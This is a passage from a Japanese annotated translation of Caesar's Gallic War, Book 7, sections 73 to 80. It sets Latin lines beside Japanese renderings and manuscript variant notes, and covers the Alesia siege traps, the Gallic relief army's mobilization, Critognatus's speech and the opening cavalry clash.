*et ab infimo revincti, ne revelli possent, ab ramis eminebant. 
**底から固くしばられて、はぎ取ることができないようにして、枝から（地上に）突き出るようにしていた。
*④　Quini erant ordines coniuncti inter se atque implicati; 
**5列ずつが、互いにつなげられて、結び合わされた。
*quo qui intraverant se ipsi acutissimis vallis induebant. 
**そこに踏み込んだ者は、自身が自らをきわめて鋭い杭に陥れた。
*Hos cippos appellabant. 
**（将兵たちは）これらを&lt;ruby&gt;&lt;rb&gt;尖り杭&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;キップス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:cippus|cippus]]「尖り杭」は「墓標」とも訳されるが、後者は古典期以降のラテン語で長方形の墓碑を指す&lt;ref&gt;&lt;small&gt;POSTCLASSIQUE&lt;/small&gt; &lt;i&gt;[[w:fr:Cippe|cippe]] (colonne funéraire rectangulaire)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;。）&lt;/span&gt;
:　
'''百合'''
*⑤　Ante&lt;ref&gt;ante はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; quos&lt;ref&gt;quos はα系写本の記述で、β系写本では hos となっている。&lt;/ref&gt; obliquis ordinibus in quincuncem dispositis 
**それらの前に、（サイコロの）&lt;ruby&gt;&lt;rb&gt;五つ目状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;クィンクンクス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に斜めの列に配置されて、
*scrobes tres in altitudinem pedes fodiebantur 
**深さ3ペース（約90cm）の穴が掘られた。
*paulatim angustiore ad infimum fastigio. 
**しだいに、より狭く、底の方へ傾斜を付けて。
*⑥　Huc teretes stipites [[w:la:Femur|feminis]] crassitudine 
**ここに、太ももの厚さの丸みを帯びた樹幹が
*ab summo praeacuti et praeusti demittebantur, 
**先端から尖らせられ、焦がされて（穴の底に）突き刺された。
*ita ut non amplius digitis quattuor ex terra&lt;ref&gt;ex terra はα系写本の記述で、V･ρ系写本では e terra 、T写本では contra となっている。&lt;/ref&gt; eminerent; 
**4本の指より長くないほど地中から突き出るように。
*⑦　simul confirmandi et stabiliendi causa 
**同時に、強固にして固定するために、
*singuli ab infimo solo pedes terra exculcabantur; 
**それぞれ底から1ペース（約30cm）だけ土で突き固められた。
*reliqua pars scrobis ad occultandas insidias viminibus ac virgultis integebatur. 
**穴の残りの部分は、わなを隠すために、柳の細枝や若枝で覆われた。
*⑧　Huius generis octoni ordines ducti ternos inter se pedes distabant. 
**この類いを、8列ずつ、3ペース（約90cm）ずつ互いに離して、作った。
*Id ex similitudine floris lilium appellabant. 
**（将兵たちは）それを花との類似から、&lt;ruby&gt;&lt;rb&gt;[[w:ユリ|百合]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リリウム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
:　
'''刺'''
*⑨　Ante haec taleae pedem longae ferreis hamis infixis totae in terram infodiebantur 
**これらの前に、鉄製の鉤が打ち込まれた長さ1ペース（約30cm）の棒の全体が地中に埋め込まれた。
*mediocribusque intermissis spatiis omnibus locis disserebantur, 
**適度な空間を間にあけて、至る所に配置された。
*quos stimulos nominabant.
**（将兵たちは）それらを刺と呼んだ。
{| class=&quot;wikitable&quot;
|-
! colspan=&quot;2&quot; | [[w:la:Obsidio Alesiae|Obsidio Alesiae]]
|-
| style=&quot;vertical-align:top; text-align:left; width:35em;&quot; |[[画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。]]
|}

===74節===
'''ガッリア人の来援に備えて、外周にも同様の塁壁を張り巡らす'''
*①　His rebus perfectis 
**これらの物が造り上げられると、
*regiones secutus quam potuit aequissimas pro loci natura 
**地勢に応じて、できるかぎり好都合な地帯を探し求めて、
*XIIII(quattuordecim) milia passuum complexus 
**14ローママイル（約21km）を取り巻いて、
*pares eiusdem generis munitiones, 
**（内周の塁壁と規模が）匹敵する同じ類いの塁壁を
*diversas ab his, contra exteriorem hostem perfecit, 
**これら（内周）に対置させて、外側の敵に対抗して造り上げた。
*ut ne magna quidem multitudine, si ita accidat equitatus&lt;ref&gt;equitatus はシェーラー（Schoeller）による修正提案で、写本(ω)では eius であるが、近代の校訂者たちにより修正提案がなされている。&lt;/ref&gt; discessu, 
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**もし[[w:騎兵|騎兵隊]]の退去によりこのようなこと（外敵との遭遇）が生じても、決して大軍により
*munitionum praesidia circumfundi possent; 
**塁壁の守備隊が包囲されることができないように。
*②　&lt;ne&gt; autem&lt;ref&gt;ne autem は近代の校訂者による修正提案で、α系･π系写本では aut、ρ系写本では ut となっている。&lt;/ref&gt; cum periculo ex castris egredi cogatur, 
**（ローマ勢が）危険を伴って陣営から進発することを強いられることもないように、
*dierum XXX(triginta) pabulum frumentumque habere omnes convectum iubet.
**30日分の[[w:糧秣|秣(まぐさ)や穀物]]を運び集めて保持することを皆に命じた。

===75節===
'''ガッリア同盟が各部族に動員を要請する'''
*①　Dum haec apud&lt;ref&gt;apud はα系写本の記述で、β系写本では ad となっている。&lt;/ref&gt; [[w:la:Alesia|Alesiam]] geruntur, 
**これらが[[w:アレシア|アレスィア]]のもとで遂行されている間に、
*Galli concilio principum indicto 
**ガッリア人たちは、領袖たちの会合を課して、
*non omnes hos&lt;ref&gt;omnes hos はα系写本の記述で、β系写本では単に omnes となっている。&lt;/ref&gt; qui arma ferre possent, ut censuit [[w:la:Vercingetorix|Vercingetorix]], convocandos statuunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が見積もったように武器を扱える者たち皆を召集するべき、ではないと判断した。
*sed certum numerum cuique ex civitate&lt;ref&gt;ex civitate はα系写本の記述で、β系写本では civitati となっている。&lt;/ref&gt; imperandum, 
**けれども、おのおのの部族から一定の兵数（の供出）を命令すること（を決めた）。
*ne tanta multitudine confusa nec moderari nec discernere suos nec frumentandi rationem&lt;ref&gt;frumentandi rationem はT･U･R写本などの記述で、V･U写本などでは frumenti rationem となっている。&lt;/ref&gt; habere possent. 
**これほどの大軍で混乱したり、味方を指揮できなかったり判別できなかったり、ということがないように。
*②　Imperant [[w:la:Haedui|Haeduis]] atque eorum clientibus, Segusiavis, Ambivaretis, Aulercis Brannovicibus, Blannoviis, milia XXXV(triginta quinque); 
**[[w:ハエドゥイ族|ハエドゥイー族]]とその庇護民であるセグスィアウィ族、アンビウァレティ族、アウレルキ・ブランノウィケス族、ブランノウィイ族に3万5千名を命令した。
*parem numerum Arvernis adiunctis Eleutetis, Cadurcis, Gabalis, Vellaviis, 
**[[w:アルウェルニ族|アルウェルニー族]]に隣接しているエレウテティ族、カドゥルキー族、ガバリ族、ウェッラウィイ族に同等の兵数。
*qui sub imperio Arvernorum esse consuerunt; 
**彼らはアルウェルニー族の支配下にいるのが常であった。
*③　Sequanis, Senonibus, Biturigibus, Santonis, Rutenis, Carnutibus duodena milia; 
**セクアニ族、セノネース族、ビトゥリゲース族、サントネス族、ルテーニー族、カルヌーテース族には1万2千ずつ。
*Bellovacis X(decem); totidem Lemovicibus; 
**ベッロウァキ族に1万。レモウィケス族に同じだけ多く（1万）。
*octona Pictonibus et Turonis et Parisiis et Helvetiis; 
**ピクトネス族とトゥロニ族とパリスィイ族と[[w:ヘルウェティイ族|ヘルウェティイ族]]に8(千)ずつ。
*Senonibus&lt;ref&gt;Senonibus は写本(ω)にある記述だが、sen&lt;a Suessi&gt;onibus「6(千)ずつをスエッスィオニス族…に」などさまざまな修正提案がなされている。&lt;/ref&gt;, Ambianis, Mediomatricis, Petrocoriis, Nerviis, Morinis, Nitiobrogibus quina milia; 
**セノネース族、アンビアニ族、メディオマトリキ族、ペトロコリイ族、ネルウィイ族、モリニ族、ニティオブロゲス族に5千ずつ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Senonibus「セノネース族」は既出のためスエッスィオネス族などに書き替える修正提案がなされ、以下は校訂版によっては兵数がずれる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;しかし、スエッスィオネス族 Suessiones は[[ガリア戦記 第2巻#12節|第2巻12節]]でレーミー族を通じてカエサルに降伏しており、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;第8巻6節でも「レーミー族に委ねられていた」「同盟者」と記されているので、アレスィアには出兵していないであろう。）&lt;/span&gt;
*Aulercis Cenomanis totidem; Atrebatibus IIII; 
**アウレルキ・ケノマニ族に同じだけ多く（5千）。アトレバテス族に4(千)。
*Veliocassis, Lexoviis et Aulercis Eburovicibus terna; 
**ウェリオカッセス族、レクソウィイ族とアウレルキ・エブロウィケス族に3(千)ずつ。
*Rauracis et Boiis&lt;ref&gt;Boiis はα系写本の記述で、β系写本では Bois となっている。&lt;/ref&gt; bina; 
**ラウラキ族とボイイ族に2(千)ずつ。
*XXX&lt;ref&gt;XXX はα系写本の記述で、さまざまな修正提案がなされている。&lt;/ref&gt; milia universis civitatibus, quae Oceanum attingunt 
**&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接する諸部族全体に3万。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は写本により異なっており、混乱している。）&lt;/span&gt;
*quaeque eorum consuetudine Aremoricae appellantur, 
**それらは、彼ら（ガッリア人）の慣習でアレモリカエと呼ばれており、
*quo sunt in numero Coriosolites, Redones, Ambibarii, Caletes, Osismi, Veneti, Lemovices, Unelli. 
**コリオソリテス族、レドネス族、アンビバリイ族、カレテス族、オスィスミ族、ウェネティ族、レモウィケス族、ウネッリ族がそれらに数えられる。
*⑤　Ex his Bellovaci suum numerum non compleverunt&lt;ref&gt;compleverunt はα系写本の記述で、β系写本では contulerunt となっている。&lt;/ref&gt;, 
**これらのうちで、ベッロウァキ族は、自分たちの（割り当てられた）数を満たさなかった。
*quod se suo nomine atque arbitrio cum Romanis bellum gesturos dicebant 
**というのは、彼らは自らの名と裁量でもってローマ人と交戦するであろうと言ったのだ。
*neque cuiusquam imperio obtemperaturos; 
**（自分たちは）何者の命令にも服従しないであろう、と。
*rogati tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; Commio pro eius hospitio duo milia una miserunt.
**けれども、[[w:コンミウス|コンミウス]]の懇願により、彼を賓客としているために、2千名を一緒に送り出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は要求された兵数の5分の1しか出さなかったが、第8巻22節ではこの出兵をも含めてカエサルから責められる。）&lt;/span&gt;

===76節===
'''コンミウスもガッリア同盟軍に内応、約25万の大軍が集結'''
*①　Huius opera Commii, ut antea demonstravimus, fideli atque utili 
**前に述べたように、この[[w:コンミウス|コンミウス]]の信頼すべき有益な働きを
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第4巻#21節|第4巻21節]]･[[ガリア戦記 第4巻#27節|27節]]･[[ガリア戦記 第4巻#35節|35節]]、[[ガリア戦記 第5巻#22節|第5巻22節]]、[[ガリア戦記 第6巻#6節|第6巻6節]]を参照。）&lt;/span&gt;
*superioribus annis erat usus in [[w:la:Britannia Maior|Britannia]] Caesar; 
**カエサルは先年（BC55～54年）に[[w:ブリタンニア|ブリタンニア]]において役立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：コンミウスは、[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]の先導役を務めていた。後にブリタンニアで王となる。）&lt;/span&gt;
*quibus ille pro meritis civitatem eius immunem esse iusserat, 
**彼（カエサル）はそれらの功績の見返りに、彼（コンミウス）の部族が免税となることを命じており、
*iura legesque reddiderat atque ipsi Morinos attribuerat. 
**権能や法度を元に戻してやり、（コンミウス）自身にモリニ族（の統治）をも委ねていた。
*②　Tamen tanta&lt;ref&gt;tamen tanta はα系写本の記述で、β系写本では tanta tamen となっている。&lt;/ref&gt; universae Galliae consensio fuit libertatis vindicandae et pristinae belli laudis recuperandae, 
**けれども、自主独立が求められるべきで、かつての戦争の誉れが取り戻されるべきだという、ガッリア全体の合意があった。
*ut neque beneficiis neque amicitiae memoria moverentur 
**その結果、（カエサルからの）厚遇にも友情の記憶にも揺り動かされず、
*omnesque et animo et opibus in id bellum incumberent. 
**（ガッリアの）皆が闘志によっても兵力によっても、その戦争に没頭していたのだ。
*③　Coactis equitum milibus VIII(octo) et peditum circiter CCL(ducenti quinquaginta)&lt;ref&gt;CCL はβ系写本の記述で、α系写本では CCXL または CCXXXX となっている。&lt;/ref&gt; 
**[[w:騎兵|騎兵]]8千騎と[[w:歩兵|歩兵]]およそ250(千)名が徴集されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵の数は、β系写本では25万、α系写本では24万と異なっている。）&lt;/span&gt;
*haec in Haeduorum finibus recensebantur, numerusque inibatur, praefecti constituebantur. 
**これら（の軍勢）が[[w:ハエドゥイ族|ハエドゥイー族]]の領土で閲兵されて、数が見積もられて、指揮官たちが決められた。
*④　Commio Atrebati, Viridomaro et [[w:la:Eporedorix|Eporedorigi]] [[w:la:Haedui|Haeduis]], 
**アトレバテス族の[[w:コンミウス|コンミウス]]、ハエドゥイー族のウィリドマルスとエポレドリクス、
*[[w:la:Vercassivellaunus|Vercassivellauno]] Arverno, consobrino Vercingetorigis, summa imperii traditur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の従兄弟である[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスに、最高司令権が託された。
*His delecti ex civitatibus attribuuntur, quorum consilio bellum administraretur. 
**彼らに、諸部族から選ばれた者たちが付与されて、その者たちの協議により戦争が指導された。
*⑤　Omnes alacres et fiduciae pleni ad [[w:la:Alesia|Alesiam]] proficiscuntur, 
**皆が、活気があって自身に満ち、[[w:アレシア|アレスィア]]へ向けて出発した。
*⑥　neque erat omnium quisquam qui adspectum modo tantae multitudinis sustineri posse arbitraretur, 
**これほどの大軍を一見しただけで持ちこたえられる者は、誰一人いないと思われた。
*praesertim ancipiti proelio, 
**とりわけ（内周と外周の）両面の戦闘で、
*cum ex oppido eruptione pugnaretur, foris tantae copiae equitatus peditatusque cernerentur.
**城塞都市からは出撃により戦われ、外からは騎兵と歩兵のこれほどの軍勢が視認されるのであるから。

===77節===
'''飢餓状態のアレスィアで、クリトグナトゥスが極論を唱える'''
*①　At ii qui [[w:la:Alesia|Alesiae]] obsidebantur 
**ところが、[[w:アレシア|アレスィア]]に包囲されていた者たちは、
*praeterita die qua auxilia suorum exspectaverant, 
**味方の援軍を待ち望んでいた日も経過して、
*consumpto omni frumento, 
**すべての糧食を消費し尽くして、
*inscii quid in [[w:la:Haedui|Haeduis]] gereretur, 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところにおいて何がなされているのかを知らず、
*concilio coacto de exitu suarum fortunarum consultabant. 
**会合を召集して、自分たちの命運の結末について協議した。
*②　Ac variis dictis sententiis 
**そして、さまざまな意見が述べられた。
*quarum pars deditionem, 
**それらの一部は降伏を、
*pars dum vires suppeterent eruptionem censebat, 
**別の一部は、活動力が十分にある間に突撃することを考慮していた。
*non praetereunda oratio [[w:la:Critognatus|Critognati]] videtur propter eius singularem et nefariam crudelitatem. 
**クリトグナトゥスの演説は、彼の特異で非道な残酷さのために、看過されるべきではないと思われる。

&lt;br&gt;
'''クリトグナトゥスの演説が始まる'''
*③　Hic summo in Arvernis ortus loco et magnae habitus auctoritatis, 
**彼は、[[w:アルウェルニ族|アルウェルニー族]]において最高の身分に生まれ、大きな影響力を持つとみなされていた。

&lt;br&gt;
'''降伏論者は最低の輩だ'''
*&quot;Nihil&quot; inquit &quot;de eorum sententia dicturus sum, qui turpissimam servitutem deditionis nomine appellant, 
**「最も恥ずべき隷属を降伏という名で呼んでいる者たちの意見については、（私は）何も述べないであろう」と言った。
*neque hos habendos civium loco neque ad concilium adhibendos censeo. 
**「この者たちは市民の身分を持つべきではないし、会合へ招き入れられるべきでもない、と（私は）考える。

&lt;br&gt;
'''突撃論者には辛抱が欠けている'''
*④　Cum his mihi res sit, qui eruptionem probant; 
**突撃に賛同した者たちとともに、私の関わりはあるべきだ。
*quorum in consilio omnium vestrum consensu 
**その者たちの考えには、君たち皆の同意があるだろうし、
*pristinae residere virtutis memoria videtur. 
**かつての武勇の記憶が残っていることと思われる。
*⑤　Animi est ista mollitia, non virtus, paulisper inopiam ferre non posse. 
**しばらくの間も（糧食の）欠乏に耐えることができない（君らの）ことは、気の弱さであって、武勇ではない。
*Qui se ultro morti offerant facilius reperiuntur quam qui dolorem patienter ferant. 
**自発的に玉砕して逝った者たちは、苦痛に辛抱強く耐えた者たちよりも、より容易に見出されるのだ。
*⑥　Atque ego hanc sententiam probarem ─tantum apud me dignitas potest─, 
**しかし私は（突撃という）この意見に賛同したであろう。それほど、私にとっても価値がある。
*si nullam praeterquam vitae nostrae iacturam fieri viderem; 
**（ただし）もし、我々（ガッリア勢）の生命が投げ出されること以外に（方策が）何もないと思ったならばだ。
*⑦　sed in consilio capiendo omnem Galliam respiciamus, quam ad nostrum auxilium concitavimus. 
**けれども、作戦を立てるに当たっては、我々のために援軍を（我々が）呼び寄せた全ガッリアを顧慮しよう。
*⑧　Quid hominum milibus LXXX(octoginta) uno loco interfectis 
**（我々ガッリア勢）8万の人間が（アレスィア）1か所で殺戮されたら、
*propinquis consanguineisque nostris animi fore existimatis, 
**我々の親類縁者たちの士気はどうなると（君らは）判断しているのか。
*si paene in ipsis cadaveribus proelio decertare cogentur? 
**もし、ほとんど（我々）自身の亡骸の中で（味方が）決戦することを強いられたら？
*⑨　Nolite hos vestro auxilio exspoliare qui vestrae salutis causa suum periculum neglexerunt, 
**君らの身の安全のために、己の危険を顧みなかった者たちのことを、君らが援助すること（の機会）を奪わないでくれ。
*nec stultitia ac temeritate vestra aut animi imbecillitate omnem Galliam prosternere et perpetuae servituti subicere. 
**君らの愚かさや無思慮、または心の弱さによって、全ガッリアを滅ぼすことや永久の隷属に委ねることがないように。

&lt;br&gt;
'''ローマ人たちが恐れているのを見よ'''
*⑩　An quod ad diem non venerunt, de eorum fide constantiaque dubitatis? 
**それとも（援軍が）期日までにやって来なかったので、彼らの誠実さや剛直さについて（君らは）疑っているのか？
*Quid ergo? 
**それでは（あれは）何だ？
*Romanos in illis ulterioribus munitionibus animine causa cotidie exerceri putatis? 
**ローマ人たちがあの向こう側の塁壁のところで、趣味のために毎日たえず働かされていると（君らは）思うのか？
*⑪　Si illorum nuntiis confirmari non potestis omni aditu praesaepto, 
**もし、すべての出入口を（防柵で）遮られて、（援軍の到来を）彼らの伝令により（君らが）確証できないのならば、
*his utimini testibus adpropinquare eorum adventum, 
**こちらの者たち（ローマ人）を、彼ら（援軍）の到来が近づいている証人として示せ。
*cuius rei timore exterriti diem noctemque in opere versantur. 
**（援軍の到来という）その事態の恐れに戦慄して（ローマ人たちは）昼も夜も工事に従事しているのだ。

&lt;br&gt;
'''クリトグナトゥスの意見は？'''
*⑫　Quid ergo mei consilii est? 
**それでは、私の考えは何であるか？
*Facere quod nostri maiores nequaquam pari bello Cimbrorum Teutonumque fecerunt: 
**我々の先祖たちが（今回とは）決して比べものにならない[[w:キンブリ・テウトニ戦争|キンブリ族・テウトニ族との戦争]]でしたことをするのだ。
*qui in oppida compulsi ac simili inopia subacti 
**彼ら（先祖たち）は、[[w:オッピドゥム|城塞都市]]に押し込められて、（今回と）似たような欠乏により衰弱させられて、
*eorum corporibus, qui aetate ad bellum inutiles videbantur, vitam toleraverunt 
**加齢により戦争に役立たないと思われた者たちの肉体（を食べること）によって、生命を持ちこたえて、
*neque se hostibus tradiderunt. 
**敵方に降伏しなかったのだ。
*⑬　Cuius rei si exemplum non haberemus, 
**もし、そういう事態の先例を我々が持たなかったとしても、
*tamen libertatis causa institui et posteris prodi pulcherrimum iudicarem. 
**けれども、自由のために、最も栄誉なことが決断され、子孫たちに伝えられることと、私は思いたい。
*⑭　Nam quid illi simile bello fuit? 
**実際、あの戦争に（今回と）似ている何があっただろうか？
*Depopulata Gallia Cimbri magnaque inlata calamitate 
**キンブリ族はガッリアを荒らしまわって、大きな災禍をもたらしたが、
*finibus quidem nostris aliquando excesserunt atque alias terras petierunt; 
**あるとき我々の領土から立ち去って、他の土地を求めて行った。
*iura, leges, agros, libertatem nobis reliquerunt. 
**権限、法度、耕地、自由を我々（ガッリア人）に残して行ったのだ。
*⑮　Romani vero quid petunt aliud aut quid volunt 
**しかし、ローマ人たちは（以下に挙げることの）他に何を求め、何を欲しているのだろうか。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「しかし、ローマ人が求め、欲しているのは、以下のことである」の意。）&lt;/span&gt;
*nisi invidia adducti quos fama nobiles potentesque bello cognoverunt, 
**高貴で戦争に力強い（ガッリアの）者たちを名声で知って羨望に駆られた以外には、
*horum in agris civitatibusque considere atque his aeternam iniungere servitutem? 
**彼らの土地や部族共同体に居座って、彼らを永遠の隷属を課すること以外には。
*Neque enim ulla alia condicione bella gesserunt. 
**実際、（ローマ人は）他のいかなる条件でも決して戦争を遂行したことがなかった。
*⑯　Quodsi ea quae in longinquis nationibus geruntur ignoratis, 
**もし、遠方の種族のところでなされていることを（君らが）知らないのであれば、
*respicite finitimam Galliam, 
**ガッリアの隣人たちを見渡しなさい。
*quae in provinciam redacta, 
**（彼らはローマの）[[w:属州|属州]]になることを余儀なくされ、
*iure et legibus commutatis, 
**権限や法度を変えられて、
*securibus subiecta perpetua premitur servitute.&quot;
**（ローマの）権力に服属させられて、永久の隷属に苦しめられているのだ。

===78節===
'''マンドゥビイ族の投降をカエサルが拒む'''
*①　Sententiis dictis 
**（いくつかの）意見が述べられて、
*constituunt ut ii, qui valetudine aut aetate inutiles sunt&lt;ref&gt;sunt はα系写本の記述で、β系写本では sint となっている。&lt;/ref&gt; bello, oppido excedant 
**（ガッリア人たちは）健康または年齢により戦争に役立たない者たちは[[w:オッピドゥム|城塞都市]]を退去するように決めた。
*atque omnia prius experiantur quam ad Critognati sententiam descendant; 
**さらに、クリトグナトゥスの意見に同意するよりも、まずあらゆることを試みるように（決めた）。
*②　illo tamen potius utendum consilio, 
**けれども（以下の場合には）むしろ彼（クリトグナトゥス）の意見を実行するべきだ。
*si res cogat atque auxilia morentur, 
**もし、事態が強いて、援軍が遅滞させられるのならば、
*quam aut deditionis aut pacis subeundam condicionem. 
**降伏あるいは講和条件を受諾することよりも（クリトグナトゥスの意見を実行するべきだ）、と。
*③　Mandubii qui eos oppido receperant, 
**彼ら（ガッリア勢）を城塞都市に受け入れていたマンドゥビイ族は、
*cum liberis atque uxoribus exire coguntur. 
**子供たちや妻女たちとともに（城塞都市から）出て行くことを強いられた。
*④　Hi cum ad munitiones Romanorum accessissent, 
**彼らは、ローマ人たちの塁壁のところへ近づいたときに、
*flentes omnibus precibus orabant, ut se in servitutem receptos cibo iuvarent. 
**自分たちを奴隷として受け入れて食糧で助けてくれるように、泣きながらあらゆる懇願で頼んだ。
*⑤　At Caesar dispositis in vallo custodibus&lt;ref&gt;custodibus はα系写本の記述で、β系写本では custodiis となっている。&lt;/ref&gt; recipi prohibebat.
**だが、カエサルは、防柵の中に番兵を分けて置き、（マンドゥビイ族を）受け入れることを禁じた。

===79節===
'''ガッリア同盟軍の来援、アレスィアの歓呼'''
*①　Interea Commius reliquique duces, quibus summa imperii permissa erat, 
**その間に、最高司令権を任されていた[[w:コンミウス|コンミウス]]とほかの将帥たちが、
*cum omnibus copiis ad Alesiam perveniunt 
**すべての軍勢とともに[[w:アレシア|アレスィア]]の辺りへ到着して、
*et colle exteriore occupato 
**より外側の丘陵を占拠して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のミュスィ＝ラ＝フォス村 [[w:fr:Mussy-la-Fosse|Mussy-la-Fosse]]&lt;ref&gt;[http://maps.google.com/maps?q=47.521944,4.438611&amp;hl=fr&amp;ie=UTF8&amp;ll=47.522012,4.438648&amp;spn=0.01849,0.027423&amp;t=h&amp;z=15 Google map]を参照。&lt;/ref&gt; のある丘陵であると思われる。）&lt;/span&gt;
*non longius mille passibus ab nostris munitionibus considunt. 
**我が方（ローマ勢）の塁壁から1ローママイル（約1.5km）ほども遠くないところに陣取った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のヴナレ＝レ＝ローム [[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]] 市街&lt;ref&gt;[http://maps.google.com/maps?q=47.542778,4.445833&amp;hl=fr&amp;ie=UTF8&amp;ll=47.543106,4.458475&amp;spn=0.036965,0.054846&amp;t=h&amp;z=14 Google map]を参照。&lt;/ref&gt;の周辺であると思われる。）&lt;/span&gt;
*②　Postero die equitatu ex castris educto 
**翌日に、[[w:騎兵|騎兵隊]]が陣営から進発させられて、
*omnem eam planitiem quam in longitudinem milia passuum III(tria)&lt;ref&gt;milia passuum III はβ系写本の記述で、α系写本では quattuor milia passuum などとなっている。&lt;/ref&gt; patere demonstravimus, complent 
**3ローママイル（約4.5km）の長さにわたり広がっていることを既述した平地のすべてを、満たした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#69節|69節]]を参照。現在のローム平原に当たると思われる。）&lt;/span&gt;
*pedestresque copias paulum ab eo loco abditas in locis superioribus constituunt. 
**[[w:歩兵|歩兵]]の軍勢を、その地からいくらか遠ざけて、より高いところに駐留させた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上記の丘陵のより高い所であると思われる。）&lt;/span&gt;
*③　Erat ex oppido Alesia despectus in campum. 
**アレスィアの[[w:オッピドゥム|城塞都市]]からは（その）平地に眺望があった。
*Concurrunt&lt;ref&gt;concurrunt はα系写本の記述で、β系写本では concurritur となっている。&lt;/ref&gt; his auxiliis visis; 
**これらの援軍が現われると（アレスィアのガッリア人たちは）群がり集まった。
*fit gratulatio inter eos 
**彼らの間で祝賀がなされて、
*atque omnium animi ad laetitiam excitantur. 
**皆の心が喜びへと鼓舞された。
*④　Itaque productis copiis ante oppidum considunt 
**こうして（アレスィアの）軍勢が出撃させられて、城塞都市の前に陣取って、
*et proximam fossam cratibus integunt atque aggere explent 
**最も近い堀を、柴で蔽って、土砂を充満させて、
*seque ad eruptionem atque omnes casus comparant.
**突撃やあらゆる有事に戦備を整えた。

===80節===
'''ゲルマニア騎兵らローマ勢が来援ガッリア騎兵をも打ち破る'''
*①　Caesar omni exercitu ad utramque partem munitionum&lt;ref&gt;munitionum はα系写本の記述で、β系写本では munitionis となっている。&lt;/ref&gt; disposito, 
**カエサルは、すべての[[w:歩兵|歩兵隊]]を、塁壁の（内周と外周）両側に分けて置き、
*ut, si usus veniat, suum quisque locum teneat et noverit, 
**もし、必要が生じたら、おのおのが自らの部署を知って固守するようにした。
*equitatum ex castris educi et proelium committi iubet. 
**[[w:騎兵|騎兵隊]]を陣営から進発させて、交戦することを命じた。
*②　Erat ex omnibus castris, quae summum undique iugum tenebant, despectus 
**至る所で尾根の頂きを占めていた（ローマ勢の）すべての陣営から（騎兵戦の）眺望があった。
*atque omnes milites intenti&lt;ref&gt;intenti はα系写本の記述で、β系写本では intenti animi、Fuchs は intentis animis と修正提案している。&lt;/ref&gt; pugnae proventum&lt;ref&gt;pugnae proventum はα系写本の記述で、β系写本では proventum pugnae となっている。&lt;/ref&gt; exspectabant. 
**すべての兵士たちは（観戦に）没頭して、戦いの結果を待っていた。
*③　Galli inter equites raros sagittarios expeditosque levis armaturae interiecerant, 
**ガッリア人たちは、弓兵たちと軽装歩兵たちをまばらに、騎兵たちの間に置いていて、
*qui suis cedentibus auxilio succurrerent 
**その者たち（弓兵と軽装歩兵）は、味方が後退するのを支援するために馳せ寄って、
*et nostrorum equitum impetus sustinerent. 
**我が方（ローマ勢）の騎兵の突撃に持ちこたえていた。
*Ab his complures de improviso vulnerati proelio excedebant. 
**彼らによって（ローマ側騎兵の）かなりの者たちが、思いがけず負傷させられて、戦闘から退いた。
*④　Cum suos pugna superiores esse Galli confiderent 
**ガッリア人たちが、味方が戦いで優勢であることを確信したとき、
*et nostros multitudine premi viderent, 
**かつ、我が方（ローマ勢）が多勢（のガッリア騎兵）により圧倒されているのを見て取ったときに、
*ex omnibus partibus et ii qui munitionibus continebantur 
**あらゆる方面から（ローマ勢の）塁壁によって囲まれていた者たちも、
*et hi&lt;ref&gt;hi はφ系･β系写本の記述で、χ系写本では ii となっている。&lt;/ref&gt; qui ad auxilium convenerant 
**（アレスィア）救援のために集結して来ていた者たちも、
*clamore et ululatu suorum animos confirmabant. 
**大声やわめき声によって味方の闘志を強めた。
*⑤　Quod in conspectu omnium res gerebatur 
**（両軍の）皆の環視の中で合戦が遂行されたので、
*neque recte ac&lt;ref&gt;ac はα系･π系写本の記述で、ρ系写本では aut となっている。&lt;/ref&gt; turpiter factum celari poterat, 
**立派な行為または見苦しい行為も隠されることができなかったので、
